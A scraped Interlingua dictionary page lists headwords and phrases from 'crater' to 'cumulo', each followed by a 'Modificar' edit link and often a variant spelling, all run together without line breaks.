de VulcanoModificar crater lateralModificar crater lunarModificar crater meteoricModificar crater meteorico \/ meteorica crater vulcanicModificar crater vulcanico \/ vulcanica crateriformeModificar crateriforme(s) cravataModificar cravata de fracModificar cravata de luctoModificar cravata de smokingModificar cravata gris acieroModificar crawl [A]Modificar crawlatorModificar crawlistaModificar crayon [F]Modificar crearModificar crear angustiaModificar crear besoniosModificar crear confusionModificar crear del nihilModificar crear empleosModificar crear illusionesModificar crear un clientelaModificar crear una clientela crear un commotionModificar crear una commotion crear un familiaModificar crear una familia crear un fundoModificar crear un institutionModificar crear una institution crear un obra artisticModificar crear una obra artistica crear un precedenteModificar crear un vacuoModificar creatinaModificar creatininaModificar creationModificar creation artisticModificar creation artistica creation continueModificar creation continua creation de capitalesModificar creation de legendasModificar creation de nove empleosModificar creation de novos empleos creation de un imagineModificar creation de una imagine creation de un interprisaModificar creation de una interprisa creation de un neologismoModificar creation de un nove parolaModificar creation de una nova parola creation de un obra de arteModificar creation de una obra de arte creation del mundoModificar creation del universoModificar creation linguisticModificar creation linguistica creation litterariModificar creation litteraria creation poeticModificar creation poetica creationismoModificar creationistaModificar creativeModificar creativo(s) \/ creativa(s) creativitateModificar creatorModificar creator de modaModificar creator de un clubModificar creator de un imperioModificar creator de un theoria scientificModificar creator de una theoria scientifica creaturaModificar creatura abjecteModificar creatura abjecta creatura humanModificar creatura humana creatura viventeModificar crèche [F]Modificar credenteModificar credente(s) adj credentiaModificar credentia in DeoModificar credentia in le miraculosModificar credentia in los miraculos credentia in phantasmasModificar credentia popularModificar credentia religioseModificar credentia religiosa credentialModificar credential(es) adj credentias superstitioseModificar credentias superstitiosas crederModificar creder a un cosaModificar creder a una cosa creder al presagiosModificar creder a los presagios creder capace deModificar creder in ChristoModificar creder in DeoModificar creder in un personaModificar creder in una persona creder in un possibilitateModificar creder in una possibilitate creder seModificar creder se insubstituibileModificar credibileModificar credibile(s) credibilisarModificar credibilizar credibilitateModificar credibilitate del informationesModificar credibilitate de las informationes creditarModificar creditar un personaModificar creditar una persona creditoModificar credito agricoleModificar credito agricole \/ agricolo credito agriculturalModificar credito aperteModificar credito aperto credito bancariModificar credito bancario credito bancari irrevocabileModificar credito bancario irrevocabile credito commercialModificar credito confirmateModificar credito confirmato credito consumptiveModificar credito consumptivo credito de acceptationModificar credito de bancaModificar credito de cessionModificar credito de discontoModificar credito de garantiaModificar credito de importationModificar credito de incassamentoModificar credito de investimentoModificar credito de statoModificar credito de transitionModificar credito familialModificar credito illimitateModificar credito illimitato credito in blancoModificar credito inconfirmateModificar credito inconfirmato credito limitateModificar credito limitato credito per acceptationModificar credito permanenteModificar credito productiveModificar credito productivo credito prolongabileModificar credito publicModificar credito publico credito revocabileModificar credito supplementariModificar credito supplementario creditorModificar creditor molesteModificar creditor molesto creditor preferenteModificar creditor preferentialModificar creditor privilegiateModificar creditor privilegiato creditoriModificar creditorio(s) \/ creditoria(s) creditos congelateModificar creditos congelatos credoModificar credo athanasianModificar credo athanasiano credo politicModificar credo politico credo religioseModificar credo religioso creduleModificar credulo(s) \/ credula(s) credulitateModificar cremaModificar crema a \/ de \/ pro barbaModificar crema a \/ de \/ pro calceosModificar crema a \/ de \/ pro rasarModificar crema a \/ de \/ pro scarpa(s)Modificar crema acideModificar crema acida crema al rumModificar crema antisol(ar)Modificar crema battiteModificar crema battita crema capillarModificar crema de cacaoModificar crema de dieModificar crema de jornoModificar crema de nocteModificar crema de vanillaModificar crema depilatoriModificar crema depilatoria crema dulceModificar crema dulce al albricochesModificar crema dulce a los albricoches crema dulce al ananasModificar crema dulce al caffeModificar crema dulce al caramelloModificar crema dulce al chocolateModificar crema dulce al citroModificar crema dulce al fragasModificar crema dulce a las fragas crema dulce al gingibreModificar crema dulce al \/ de risModificar crema dulce al vanillaModificar crema dulce a la vanilla crema dulce de chipolataModificar crema dulce grumoseModificar crema dulce grumosa crema epilatoriModificar crema epilatoria crema hydratanteModificar crema pro le caffeModificar crema pro le facieModificar crema pro la facie crema pro le pelleModificar crema pro la pelle crema que protege le pelleModificar crema que protege la pelle crema solarModificar crema solar protectiveModificar crema solar protectiva crema spisseModificar crema spissa cremalieraModificar cremarModificar cremar un cadavereModificar cremationModificar crematorModificar crematoriModificar crematorio(s) \/ crematoria(s) crematorioModificar cremeriaModificar cremoseModificar cremoso(s) \/ cremosa(s) crenateModificar crenato(s) \/ crenata(s) crenatifolieModificar crenatifolio(s) \/ crenatifolia(s) crenellaModificar crenologiaModificar crenologicModificar crenologico(s) \/ crenologica(s) crenotherapiaModificar creolModificar creol(es) \/ creolo(s) \/ creola(s) creolisarModificar creolizar creoloModificar creophageModificar creophago(s) \/ creophaga(s) creophagiaModificar creoophagoModificar creosotageModificar creosotarModificar creosotoModificar creparModificar crepar de despectoModificar crepar de fameModificar crepar de riderModificar crepar de risadaModificar crepar de seteModificar crepe [F]Modificar crepe de ChineModificar crepidulaModificar crepisModificar crepis [la crepitanteModificar crepitante(s) crepitarModificar crepitationModificar crepuscularModificar crepuscular(es) crepusculoModificar crepusculo del matinoModificar crepusculo del vitaModificar crepusculo de la vita crepusculo lunarModificar crepusculo matinalModificar crepusculo matutinModificar crepusculo matutino crescendo [I]Modificar crescenteModificar crescente(s) adj crescentiaModificar crescentia cellularModificar crescentia de un urbeModificar crescentia de una urbe crescentia del populationModificar crescentia de la population crescentia del salinitateModificar crescentia de la salinitate crescentia demographicModificar crescentia demographica crescentia economicModificar crescentia economica crescentia epitaxialModificar crescentia exponentialModificar crescentia hastiveModificar crescentia hastiva crescentia in altorModificar crescentia in alturaModificar crescentia in largorModificar crescentia in latitudeModificar crescentia in longorModificar crescentia in spissorModificar crescentia longitudinalModificar crescentia retardateModificar crescentia retardata crescentia zeroModificar crescerModificar crescer como fungosModificar crescer de pesoModificar crescer in estimaModificar crescer in pesoModificar crescer in prestigioModificar crescer malgrado de contrarietatesModificar crescimentoModificar crescimento de capillosModificar crescimento del exportationesModificar crescimento de las exportationes crescimento del populationModificar crescimento de la population crescimento demographicModificar crescimento demographico crescimento economicModificar crescimento economico crescimento explosiveModificar crescimento explosivo crescimento exponentialModificar crescimento in altorModificar crescimento in alturaModificar crescimento in latitudeModificar crescimento in longitudeModificar crescimento in spissorModificar crescimento longitudinalModificar crescimento retardateModificar crescimento retardato crescimento zeroModificar crescitaModificar crescita de \/ del capillosModificar crescita de \/ de_los capillos crescita del populationModificar crescita de la population crescita demographicModificar crescita demographica crescita exponentialModificar crescita exponential CresoModificar cresoModificar cresolModificar cressonModificar cresson de aquaModificar crestaModificar cresta de galloModificar cresta de montaniaModificar cresta de un tectoModificar cresta de un undaModificar cresta de una unda cresta del barrageModificar cresta del filettoModificar cresta dentateModificar cresta dentata cresta dentellateModificar cresta dentellata cresta frontalModificar cresta marginalModificar cresta scumoseModificar cresta scumosa cresta spumoseModificar cresta spumosa crestateModificar crestato(s) \/ crestata(s) CretaModificar cretaModificar creta colorateModificar creta colorata creta de colorModificar creta de pastelloModificar creta marnoseModificar creta marnosa cretaceeModificar cretaceo(s) \/ cretacea(s) cretaceoModificar creteseModificar cretese(s) \/ cretesa(s) creticoModificar cretieraModificar cretinModificar cretino(s) \/ cretina(s) cretineriaModificar cretinisarModificar cretinizar cretinisationModificar cretinization cretinismoModificar cretinoModificar cretonne [F]Modificar cretoseModificar cretoso(s) \/ cretosa(s) crexModificar crex [le cribrarModificar cribrar carbonModificar cribratorModificar cribriformeModificar cribriforme(s) cribroModificar cribro a vibrationModificar cribro classificatoriModificar cribro classificatorio cribro mechanicModificar cribro mechanico cribro pro bulbosModificar cribro pro carbonModificar cribro vibratoriModificar cribro vibratorio cribroseModificar cribroso(s) \/ cribrosa(s) cricModificar cric [le cric!Modificar cric à vis [F]Modificar cric crac!Modificar cric de automobileModificar cricket [A]Modificar cricoideModificar cricoide(s) adj CrimeaModificar criminalModificar criminal adj, sub [le \/ la criminal communModificar criminal de guerraModificar criminal incorrigibileModificar criminal indurateModificar criminal indurato \/ indurata criminal inscrupuloseModificar criminal inscrupuloso \/ inescrupulosa criminal potentialModificar criminalisarModificar criminalizar criminalisar le drogatosModificar criminalizar los drogatos criminalisationModificar criminalization criminalistaModificar criminalisticModificar criminalistico(s) \/ criminalistica(s) criminalisticaModificar criminalitateModificar criminalitate juvenilModificar criminalitate organisateModificar criminalitate organizata criminarModificar criminationModificar crimineModificar crimine abominabileModificar crimine ambientalModificar crimine atroceModificar crimine barbareModificar crimine barbaro crimine capitalModificar crimine contra le ambiente (ecologic)Modificar crimine contra le ambiente (ecologico) crimine contra le moresModificar crimine contra los mores crimine contra le securitate del statoModificar crimine contra la securitate del stato crimine de guerraModificar crimine de lese-civilisationModificar crimine de lesa-civilization crimine de lese-humanitateModificar crimine de lesa-humanitate crimine de lese-majestateModificar crimine de lesa-majestate crimine de omissionModificar crimine enormeModificar crimine horrendeModificar crimine horrendo crimine inexpiabileModificar crimine inexplicateModificar crimine inexplicato crimine organisateModificar crimine organizato crimine passionalModificar crimine passional crimine perfecteModificar crimine perfecto crimine politicModificar crimine politico crimine premeditateModificar crimine premeditato crimine sadicModificar crimine sadico crimines contra le ambiente (ecologic)Modificar crimines contra le ambiente (ecologico) criminogeneModificar criminogeno(s) \/ criminogena(s) criminologiaModificar criminologicModificar criminologico(s) \/ criminologica(s) criminologistaModificar criminologoModificar crinModificar crin [le crin vegetalModificar crinieraModificar criniera de leonModificar crinoidesModificar crinoides [los crinolinaModificar crioceroModificar crippaModificar crippa de NatalModificar crisModificar cris [le crise = crisisModificar crise adolescentialModificar crise agricoleModificar crise agricola crise agriculturalModificar crise \/ crisis cardiacModificar crise \/ crisis cardiaca crise \/ crisis conjuncturalModificar crise de appendicitisModificar crise de bursaModificar crise \/ crisis de cabinettoModificar crise \/ crisis de confidentiaModificar crise de conscientiaModificar crise \/ crisis de energiaModificar crise \/ crisis de epilepsiaModificar crise \/ crisis de \/ del generationesModificar crise \/ crisis de \/ de_las generationes crise \/ crisis de governamentoModificar crise \/ crisis de identitateModificar crise de lacrimasModificar crise \/ crisis de migraineModificar crise de nervosModificar crise \/ crisis de pubertateModificar crise del petroleoModificar crise \/ crisis ecologicModificar crise \/ crisis ecologica crise \/ crisis economicModificar crise \/ crisis economica crise \/ crisis emotiveModificar crise \/ crisis emotiva crise \/ crisis epilepticModificar crise \/ crisis epileptica crise \/ crisis financiariModificar crise \/ crisis financiaria crise \/ crisis governamentalModificar crise \/ crisis ministerialModificar crise monetariModificar crise monetaria crise \/ crisis mundialModificar crise \/ crisis nervoseModificar crise \/ crisis nervosa crise \/ crisis petrolerModificar crise \/ crisis petrolera crise \/ crisis postbellicModificar crise \/ crisis postbellica crise posttraumaticModificar crise posttraumatica crise \/ crisis puberalModificar crise \/ crisis religioseModificar crise \/ crisis religiosa crisparModificar crispateModificar crispato(s) \/ crispata(s) crispationModificar crispeModificar crispo(s) \/ crispa(s) crispiflorModificar crispiflor(es) adj crispifolieModificar crispifolio(s) \/ crispifolia(s) cristaModificar crista de galloModificar crista de montaniaModificar crista de un tectoModificar crista de un undaModificar crista de una unda crista del barrageModificar crista del filettoModificar crista dentateModificar crista dentata crista dentellateModificar crista dentellata crista frontalModificar crista marginalModificar crista scumoseModificar crista scumosa crista spumoseModificar crista spumosa cristateModificar cristato(s) \/ cistata(s) crista marginalModificar critaliaModificar critaliarModificar critaliar vb critarModificar critar a plen pulmonesModificar critar a plenos pulmones critar adjutaModificar critar al focoModificar critar al succursoModificar critar como un folloModificar critar de dolorModificar critar de rabieModificar critar del tectosModificar critar de los tectos critar forteModificar critar furiosemente a un personaModificar critar furiosamente a una persona critar super omne tectosModificar critar super omnes tectos critar un ordineModificar critar una ordine critar vengiantiaModificar critar victoriaModificar critatorModificar criterioModificar criterio de convergentiaModificar criterio de judicamentoModificar criterio de judicioModificar criterio de selectionModificar criterio didacticModificar criterio didactico criterio selectiveModificar criterio selectivo criteriologiaModificar criteriologicModificar criteriologico(s) \/ criteriologica(s) criterios discriminatoriModificar criterios discriminatorios criterios meritocraticModificar criterios meritocraticos criterios methodologicModificar criterios methodologicos criterios normativeModificar criterios normativos criteriumModificar crithmoModificar criticModificar critico(s) \/ critica(s) criticaModificar critica acerbeModificar critica acerba critica acuteModificar critica acuta critica adverseModificar critica adversa critica anodinModificar critica anodina critica benevolenteModificar critica biblicModificar critica biblica critica cinematographicModificar critica cinematographica critica conjecturalModificar critica constructiveModificar critica constructiva critica de arteModificar critica de detalioModificar critica de musicaModificar critica de textosModificar critica de theatroModificar critica del BibliaModificar critica de la Biblia critica del fontesModificar critica de las fontes critica del societateModificar critica de la societate critica del textosModificar critica de los textos critica disfavorabileModificar critica dramaticModificar critica dramatica critica elogioseModificar critica elogiosa critica equilibrateModificar critica equilibrata critica expliciteModificar critica explicita critica fundamentalModificar critica hermeneuticModificar critica hermeneutica critica historicModificar critica historica critica incisiveModificar critica incisiva critica indirecteModificar critica indirecta critica indulgenteModificar critica judicioseModificar critica judiciosa critica mordaceModificar critica musicalModificar critica positiveModificar critica positiva critica severModificar critica severa critica socialModificar critica subjectiveModificar critica subjectiva critica textualModificar critica theatralModificar critica virulenteModificar critica virulenta critica viveModificar critica viva criticabileModificar criticabile(s) criticalitateModificar criticarModificar criticar le governamentoModificar criticar omne cosaModificar criticas disfavorabileModificar criticas disfavorabiles criticastroModificar criticismoModificar criticitateModificar criticoModificar critico cinematographicModificar critico cinematographico critico competenteModificar critico de arteModificar critico de musicaModificar critico de theatroModificar critico dramaticModificar critico impartialModificar critico litterariModificar critico litterario critico musicalModificar critico socialModificar critico theatralModificar critico timiteModificar critico timito critoModificar crito acuteModificar crito acuto crito de alarmaModificar crito de angustiaModificar crito de auxilioModificar crito de aveModificar crito de choleraModificar crito de cordeModificar crito de desperationModificar crito de desperoModificar crito de dolorModificar crito de gaudioModificar crito de guerraModificar crito de horrorModificar crito de morteModificar crito de succursoModificar crito de surprisaModificar crito de triumphoModificar crito de victoriaModificar crito insultanteModificar crito penetranteModificar crito prolongateModificar crito prolongato crito stridenteModificar crito triumphalModificar critos chaoticModificar critos chaoticos critos de adjutaModificar critos de angustiaModificar critos de jubiloModificar critos de succursoModificar critos horribileModificar critos horribiles critos hystericModificar critos hystericos croateModificar croato(s) \/ croata(s) CroatiaModificar croatoModificar crocModificar croc [le croc de abbordageModificar croc de caldieraModificar croc de plafondModificar croc de remolcoModificar croc muralModificar crochet [F]Modificar crochetar {sh}Modificar crocidoliteModificar crocodilianModificar crocodiliano(s) \/ crocodiliana(s) crocodilianoModificar crocodiloModificar crocodilo niloticModificar crocodilo nilotico crocodilo palustreModificar crocusModificar crocus [le croissant [F]Modificar cromlechModificar cromlech [le cromornaModificar cronica de familiaModificar CrookesModificar croquet [A]Modificar croquetarModificar croquette [F]Modificar croquette al caseoModificar croquette de carneModificar croquette de crangonesModificar croquette de macaroniModificar croquette de patata(s)Modificar croquette de pisceModificar croquette de pulloModificar croquette de vitelloModificar cross [A]Modificar cross-country pl cross-countries [A]Modificar crossing-over [A]Modificar crotaloModificar crotaloideModificar crotaloide(s) adj crotonModificar crotonaldehydeModificar crotonaldehyde [le crotonicModificar crotonico(s) \/ crotonica(s) croup [A]Modificar croupier [F]Modificar crown-glass [A]Modificar cruceModificar cruce [la Cruce AnsateModificar Cruce Ansata cruce celticModificar cruce celtica cruce de cavalleroModificar cruce de devotionModificar cruce de ferroModificar cruce de guerraModificar cruce de LorenaModificar Cruce de MaltaModificar cruce de Sancte AndreasModificar cruce de Sancto Andreas cruce de turreModificar cruce del meritoModificar Cruce del SudModificar cruce episcopalModificar cruce flechateModificar cruce flechata cruce funerariModificar cruce funeraria cruce gammateModificar cruce gammata cruce grecModificar cruce greca cruce latinModificar cruce latina cruce malteseModificar cruce maltesa cruce pectoralModificar cruce processionalModificar Cruce Rubie (International)Modificar Cruce Rubia (International) cruce triumphalModificar cruce tumbalModificar cruce unciateModificar cruce unciata cruce uncinateModificar cruce uncinata cruciaModificar cruciadaModificar cruciada del infantesModificar cruciada de los infantes cruciada infantilModificar crucialModificar crucial(es) adj cruciamentoModificar cruciamento a nivellos differenteModificar cruciamento a nivellos differentes cruciamento al mesme nivelloModificar cruciamento al mesmo nivello cruciamento congruenteModificar cruciamento de camminosModificar cruciamento de canalModificar cruciamento de viasModificar crucianellaModificar cruciarModificar cruciar le braciosModificar cruciar los bracios cruciar le cammino de vita de un personaModificar cruciar le cammino de vita de una persona cruciar le gambasModificar cruciar las gambas cruciar le manosModificar cruciar las manos cruciar le sentiero de vita de un personaModificar cruciar le sentiero de vita de una persona cruciar un reguardo compliceModificar cruciataModificar cruciata de camminosModificar cruciata de camminos in trifolioModificar cruciata de stratasModificar cruciata de viasModificar cruciata de vias in trifolioModificar cruciata giratoriModificar cruciata giratoria cruciata (in forma de) \"T\"Modificar cruciateModificar cruciato(s) \/ cruciata(s) cruciationModificar cruciatoModificar cruciatorModificar cruciator auxiliarModificar cruciator legierModificar cruciator legiero crucibuloModificar crucieraModificar crucifereModificar crucifero(s) \/ crucifera(s) cruciferoModificar crucifigerModificar crucifiger vb crucifixionModificar crucifixoModificar crucifixorModificar cruciformeModificar cruciforme(s) cruciverbistaModificar cruciverboModificar crudeModificar crudo(s) \/ cruda(s) cruditateModificar cruelModificar cruel(es) adj crueltateModificar crueltate cannibalescModificar crueltate cannibalesca crueltate contra animal(es)Modificar crueltate mentalModificar crueltates repulsiveModificar crueltates repulsivas cruorModificar cruor [le crupModificar crup [le crup spurieModificar crup spurio crupalModificar crupal(es) crupinaModificar cruppaModificar cruppadaModificar cruppieraModificar cruralModificar crural(es) crustaModificar crusta calcariModificar crusta calcaria crusta de argillaModificar crusta de caseoModificar crusta de glacieModificar crusta de panModificar crusta de pastissoModificar crusta durModificar crusta dura crusta rubieModificar crusta rubia crusta salinModificar crusta salina crusta terrestreModificar crustaceeModificar crustaceo(s) \/ crustacea(s) crustaceoModificar crustaceo adactyleModificar crustaceo adactylo crustaceosModificar crustoseModificar crustoso(s) \/ crustosa(s) cruzeiroModificar cryobiologiaModificar cryobiologia seminalModificar cryobiologicModificar cryobiologico(s) \/ cryobiologica(s) cryobiologistaModificar cryobiologoModificar cryochirurgiaModificar cryoelectronicaModificar cryogeneModificar cryogeno(s) \/ cryogena(s) cryogeniaModificar cryogenicModificar cryogenico(s) \/ cryogenica(s) cryogenicaModificar cryoglobulinaModificar cryolithoModificar cryologiaModificar cryometriaModificar cryometroModificar cryophysicaModificar cryophytoModificar cryoplanctonModificar cryoscopiaModificar cryoscopicModificar cryoscopico(s) \/ cryoscopica(s) cryoscopioModificar cryostatoModificar cryotechnicaModificar cryotherapiaModificar cryotronModificar cryoturbationModificar cryptaModificar cryptanalyse = cryptanalysisModificar cryptanalyticModificar cryptanalytico(s) \/ cryptanalytica(s) crypticModificar cryptico(s) \/ cryptica(s) cryptobiose = cryptobiosisModificar cryptocatholicoModificar cryptocommunistaModificar cryptocommunista adj, sub cryptofascistaModificar cryptofascista [le \/ la cryptogameModificar cryptogamo(s) \/ cryptogama(s) cryptogamiaModificar cryptogamicModificar cryptogamico(s) \/ cryptogamica(s) cryptogamistaModificar cryptogamoModificar cryptogeneticModificar cryptogenetico(s) \/ cryptogenetica(s) cryptogrammaModificar cryptogramma indecifrabileModificar cryptographiaModificar cryptographicModificar cryptographico(s) \/ cryptographica(s) cryptographoModificar cryptologiaModificar cryptologicModificar cryptologico(s) \/ cryptologica(s) cryptologoModificar cryptomnesiaModificar cryptophoniaModificar cryptophonicModificar cryptophonico(s) \/ cryptophonica(s) cryptophonoModificar cryptophytoModificar cryptoporticoModificar cryptotoxicModificar cryptotoxico(s) \/ cryptotoxica(s) cryptotoxinaModificar crystalleriaModificar crystalleroModificar crystallinModificar crystallino(s) \/ crystallina(s) crystallinitateModificar crystallinoModificar crystallisabileModificar crystallizabile(s) crystallisabilitateModificar crystallizabilitate crystallisarModificar crystallizar crystallisateModificar crystallizato(s) \/ crystallizata(s) crystallisationModificar crystallization crystallisation artificialModificar crystallization artificial crystallisation fractionateModificar crystallization fractionata crystallisation naturalModificar crystallization natural crystalliteModificar crystallite acicularModificar crystalloModificar crystallo acicularModificar crystallo atomicModificar crystallo atomico crystallo birefrangenteModificar crystallo cubicModificar crystallo cubico crystallo de BohemiaModificar crystallo de glacieModificar crystallo de IslandaModificar crystallo de metalloModificar crystallo de niveModificar crystallo de quarzModificar crystallo de roccaModificar crystallo de salModificar crystallo de sapphiroModificar crystallo de scintillationModificar crystallo de sodaModificar crystallo de sucroModificar crystallo dendriticModificar crystallo dendritico crystallo dextrogyrModificar crystallo dextrogyro crystallo dissymmetricModificar crystallo dissymmetrico crystallo hemihedreModificar crystallo hemihedro crystallo imperfecteModificar crystallo imperfecto crystallo liquideModificar crystallo liquido crystallo metallicModificar crystallo metallico crystallo molecularModificar crystallo monolithicModificar crystallo monolithico crystallo orthorhombicModificar crystallo orthorhombico crystallo piezoelectricModificar crystallo piezoelectrico crystallo prismaticModificar crystallo prismatico crystallo uniaxeModificar crystallochimiaModificar crystalloelectricitateModificar crystallogeniaModificar crystallographiaModificar crystallographia chimicModificar crystallographia chimica crystallographia morphologicModificar crystallographia morphologica crystallographia structuralModificar crystallographicModificar crystallographico(s) \/ crystallographica(s) crystallographoModificar crystalloideModificar crystalloide adj, sub crystallomantiaModificar crystallometriaModificar crystallometricModificar crystallometrico(s) \/ crystallometrica(s) crystallophysicaModificar crystallos birefrangenteModificar crystallos birefrangentes crystallos de gypsoModificar crystallos heteromorpheModificar crystallos heteromorphos crystallos isometricModificar crystallos isometricos crystallos monoclinicModificar crystallos monoclinicos crystallos rhombohedricModificar crystallos rhombohedricos crystallotomiaModificar ctenobranchiatosModificar ctenopetaleModificar ctenopetalo(s) \/ ctenopetala(s) ctenophoroModificar cualiarModificar cualiaturaModificar cualioModificar cub scout [A]Modificar CubaModificar cubabileModificar cubabile(s) cubageModificar cubanModificar cubano(s) \/ cubana(s) cubanoModificar cubarModificar cubaturaModificar cubebeModificar cubebe [le cubettoModificar cubetto a suppaModificar cubettos de bouillonModificar cubettos de glacieModificar cubettos de sucroModificar cubettos de suppaModificar cubicModificar cubico(s) \/ cubica(s) cubicitateModificar cubicitate de un crystalloModificar cubiculoModificar cubiculo de essayageModificar cubiculo de essayoModificar cubiculo de proba \/ provaModificar cubiformeModificar cubiforme(s) cubilModificar cubil [le cubil de castorModificar cubil de leporeModificar cubismoModificar cubistaModificar cubisticModificar cubistico(s) \/ cubistica(s) cubitalModificar cubital(es) cubitieraModificar cubitoModificar cubito de tennisModificar cuboModificar cubo a suppaModificar cubo de bouillon concentrateModificar cubo de bouillon concentrato cubo de bouillon solidificateModificar cubo de bouillon solidificato cubo(s) de glacieModificar cubo de phenolModificar cubo de sauceModificar cubo de sucroModificar cuboideModificar cuboide(s) adj cucuModificar cucubaloModificar cucubalo bacifereModificar cucubalo bacifero cucumariaModificar cucumaria frondoseModificar cucumaria frondosa cucumbre \/ cucumereModificar cucumbre \/ cucumere [le cucumbres \/ cucumeres marinateModificar cucumbres \/ cucumeres marinatos cucumisModificar cucumis [le cucurbitaModificar cucurbita ornamentalModificar cucurbitaceasModificar cucurbitaceeModificar cucurbitaceo(s) \/ cucurbitacea(s) cuduModificar cudu [le cuestaModificar cuficModificar cufico(s) \/ cufica(s) cuguarModificar cuguar [le cuirassamentoModificar cuirassarModificar cuirassateModificar cuirassato(s) \/ cuirassata(s) cuirassatoModificar cuirasseModificar cuirasse [la cuirasseroModificar cujeModificar cujo(s) \/ cuja(s) culiceModificar culice [le culiciformeModificar culiciforme(s) culinaModificar culina modelloModificar culinariModificar culinario(s) \/ culinaria(s) culminarModificar culminationModificar culmination de su carrieraModificar culmination inferiorModificar culmineModificar culmine [le culmine de tectoModificar culoModificar culo blancModificar culo blanco culo de bottiliaModificar culpaModificar culpa expiabileModificar culpa legierModificar culpa legiera culpabileModificar culpabile sub, adj culpabile de bancaruptaModificar culpabile(s) de bancarupta culpabile de homicidioModificar culpabile(s) de homicidio culpabile principalModificar culpabilitateModificar culpabilitate moralModificar culparModificar culteModificar culto(s) \/ culta(s) cultellassoModificar cultellataModificar cultelleriaModificar cultelleroModificar cultelloModificar cultello a \/ de calfatarModificar cultello a \/ de carneModificar cultello a \/ de \/ pro caseoModificar cultello a \/ de dessertModificar cultello a \/ de dissecarModificar cultello a finderModificar cultello a \/ de fructosModificar cultello a \/ de graffarModificar cultello a \/ de masticarModificar cultello a \/ de palettaModificar cultello a \/ de panModificar cultello a \/ de papiroModificar cultello a resortoModificar cultello acuteModificar cultello affilateModificar cultello affilato cultello con lamina undulateModificar cultello con lamina undulata cultello de acieroModificar cultello de chassaModificar cultello de \/ del cocinaModificar cultello de \/ de_la cocina cultello de doratorModificar cultello de hacharModificar cultello de resectionModificar cultello de scarperoModificar cultello de tabulaModificar cultello de tascaModificar cultello de trencharModificar cultello dentateModificar cultello dentato cultello mutilatorModificar cultello plicanteModificar cultello pro vitroModificar cultello StanleyModificar cultello trenchanteModificar cultellos inoxydabileModificar cultellos inoxydabiles cultismoModificar cultivabileModificar cultivabile(s) cultivabilitateModificar cultivarModificar cultivar cerealesModificar cultivar le amicitateModificar cultivar la amicitate cultivar le amicitate de un personaModificar cultivar la amicitate de una persona cultivar le terraModificar cultivar la terra cultivar linoModificar cultivar plantasModificar cultivar su memoriaModificar cultivar su voceModificar cultivar tomatesModificar cultivar un gustoModificar cultivar verdurasModificar cultivateModificar cultivato(s) \/ cultivata(s) cultivationModificar cultivation de caffeModificar cultivation de patatasModificar cultivatorModificar cultivator de azaleasModificar cultivator de bulbosModificar cultivator de carotasModificar cultivator de caulesModificar cultivator de chrysanthemosModificar cultivator de colzaModificar cultivator de dahliasModificar cultivator de fragasModificar cultivator de garanciaModificar cultivator de hyacinthosModificar cultivator de leguminesModificar cultivator de linoModificar cultivator de lupinosModificar cultivator de maisModificar cultivator de melonesModificar cultivator de orchideasModificar cultivator de patatasModificar cultivator de plantasModificar cultivator de rosasModificar cultivator de tabacoModificar cultivator de tomatesModificar cultivator de tulipanes \/ tulipasModificar cultivator de verdurasModificar cultoModificar culto al beltateModificar culto al corporeModificar culto al mortosModificar culto a los mortos culto aniconicModificar culto aniconico culto catholicModificar culto catholico culto de duliaModificar culto de fecunditateModificar culto de fertilitateModificar culto de MithraModificar culto de VenusModificar culto del ancestresModificar culto de los ancestres culto del beltateModificar culto de la beltate culto del corporeModificar culto del formasModificar culto de las formas culto del heroesModificar culto de los heroes culto del manesModificar culto de los manes culto del mortosModificar culto de los mortos culto del personalitateModificar culto de la personalitate culto del sanctosModificar culto de los sanctos culto del sanitateModificar culto de la sanitate culto del solModificar culto dionysiacModificar culto dionysiaco culto divinModificar culto divino culto druidicModificar culto druidico culto imperialModificar culto marialModificar culto marianModificar culto mariano culto minervalModificar culto mithraicModificar culto mithraico culto phallicModificar culto phallico culto superstitioseModificar culto superstitioso cultorModificar cultor de azaleasModificar cultor de bulbosModificar cultor de carotasModificar cultor de caulesModificar cultor de colzaModificar cultor de dahliasModificar cultor de fragasModificar cultor de garanciaModificar cultor de hyacinthosModificar cultor de leguminesModificar cultor de linoModificar cultor de lupinosModificar cultor de maisModificar cultor de melonesModificar cultor de orchideasModificar cultor de patatasModificar cultor de rosasModificar cultor de tomatesModificar cultor de tulipasModificar cultor de verdurasModificar cultos idolatraModificar cultos idolatras cultriformeModificar cultriforme(s) cultroModificar cultualModificar cultual(es) culturaModificar cultura aerobieModificar cultura aerobia cultura alternateModificar cultura alternata cultura arbustiveModificar cultura arbustiva cultura bacterialModificar cultura bolivianModificar cultura boliviana cultura cotonariModificar cultura cotonaria cultura de asparagosModificar cultura de azaleasModificar cultura de bacillosModificar cultura de bacteriosModificar cultura de bulbosModificar cultura de cannabe \/ cannabisModificar cultura de cauchuModificar cultura de caulesModificar cultura de cerealesModificar cultura de champignonsModificar cultura de colzaModificar cultura de cotonModificar cultura de cucumbres \/ cucumeresModificar cultura de dahliasModificar cultura de endiviaModificar cultura de floresModificar cultura de fragasModificar cultura de fructosModificar cultura de frumentoModificar cultura de garanciaModificar cultura de granoModificar cultura de hordeoModificar cultura de indigoModificar cultura de linoModificar cultura de lupinosModificar cultura de lupuloModificar cultura de maisModificar cultura de melonesModificar cultura de microbiosModificar cultura de patatasModificar cultura de plantas bulboseModificar cultura de plantas bulbosas cultura de rosasModificar cultura de rubiaModificar cultura de speltaModificar cultura de spergulaModificar cultura de tabacoModificar cultura de texitosModificar cultura de theModificar cultura de tomatesModificar cultura de trifolioModificar cultura de triticoModificar cultura de tulipanes \/ tulipasModificar cultura de verdurasModificar cultura del cannabeModificar cultura de la cannabe cultura del massasModificar cultura de las massas cultura del medievoModificar cultura del risModificar cultura elamicModificar cultura elamica cultura etruscModificar cultura etrusca cultura exhaurienteModificar cultura exhaustiveModificar cultura exhaustiva cultura floralModificar cultura greco-latin \/ grecolatinModificar cultura greco-latina \/ grecolatina cultura greco-roman \/ grecoromanModificar cultura greco-romana \/ grecoromana cultura hellenisticModificar cultura hellenistica cultura hippyModificar cultura hydroponicModificar cultura hydroponica cultura in substratoModificar cultura in terrassasModificar cultura in vitroModificar cultura intellectualModificar cultura intensiveModificar cultura intensiva cultura intercalariModificar cultura intercalaria cultura melanesianModificar cultura melanesiana cultura microbicModificar cultura microbica cultura occidentalModificar cultura paleolithicModificar cultura paleolithica cultura popModificar cultura purModificar cultura pura cultura undergroundModificar culturalModificar cultural(es) culturismoModificar culturistaModificar cum grano salis [L]Modificar cumarinaModificar cuminoModificar cumputator de translationModificar cumulabileModificar cumulabile(s) cumularModificar cumular un persona de honoresModificar cumular una persona de honores cumulationModificar cumulativeModificar cumulativo cumuloModificar cumulo de catastrophesModificar cumulo de cerealesModificar 